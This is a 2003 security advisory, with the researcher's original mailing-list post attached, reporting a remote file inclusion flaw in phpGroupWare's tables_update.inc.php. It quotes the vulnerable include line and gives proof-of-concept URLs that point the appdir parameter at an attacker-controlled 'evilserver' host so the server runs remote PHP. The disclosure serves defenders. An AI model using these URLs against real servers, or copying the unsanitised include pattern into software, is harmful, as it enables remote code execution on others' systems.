phpGroupWare Include File Bug in 'tables_update.inc.php' Lets Remote Users Execute Arbitrary Code
|
|
SecurityTracker Alert ID: 1007240 |
|
SecurityTracker URL: http://securitytracker.com/id/1007240
|
|
CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Jul 22 2003
|
Impact:
Execution of arbitrary code via network, User access via network
|
Exploit Included: Yes
|
Version(s): 0.9.14.005
|
Description:
Phil Dunn reported an include file vulnerability in phpGroupWare. A remote user can execute arbitrary PHP code on the target server.
It is reported that the '/phpgwapi/setup/tables_update.inc.php' script includes a file relative to the '$appdir' variable. A remote user can reportedly specify a remote location for the $appdir variable, causing the 'tables_update_0_9_9.inc.php' file at the remote location to be included and executed by the target server.
A demonstration exploit URL is provided:
http://[target]/phpgroupware/phpgwapi/setup/tables_update.inc.php?appdir=http://[evilserver]/
|
Impact:
A remote user can execute arbitrary PHP code, including operating system commands, on the target server.
|
Solution:
No solution was available at the time of this entry.
|
Vendor URL: www.phpgroupware.org/ (Links to External Site)
|
Cause:
Input validation error, State error
|
Underlying OS:
Linux (Any), UNIX (Any), Windows (Any)
|
|
Message History:
None.
|
Source Message Contents
|
Date: Mon, 21 Jul 2003 22:57:51 -0700 (PDT)
Subject: phpGroupWare v0.9.14.005 Remote Include Vulnderability
|
######################################################
## Name: Phil Dunn ##
## Email: z3hp@yahoo.com ##
## Date: July - 18 - 2003 ##
## Program: phpGroupWare ##
## Version: v0.9.14.005 ##
##Vendor Name: phpGroupWare ##
## Vendor URL: http://phpgroupware.org/ ##
######################################################
An include file vulnerability was found in
phpGroupWare. This exploit works for all Branches. A
remote user can create arbitrary PHP code and locate
it on a remote server. Then, the remote user can issue
a specially crafted URL to the target server that
specifies the remote PHP code for inclusion.
/phpgwapi/setup/tables_update.inc.php @ line 16
-----------------------------------------------
include($appdir . 'tables_update_0_9_9.inc.php');
-----------------------------------------------
This line will allow remote users to send specially
crafted URLs and set the $appdir variable.
The following is a proof of concept exploit:
http://someserver.com/phpgroupware/phpgwapi/setup/tables_update.inc.php?appdir=http://evilserver.com/
__________________________________
Do you Yahoo!?
Yahoo! SiteBuilder - Free, easy-to-use web site design software
http://sitebuilder.yahoo.com
|
|
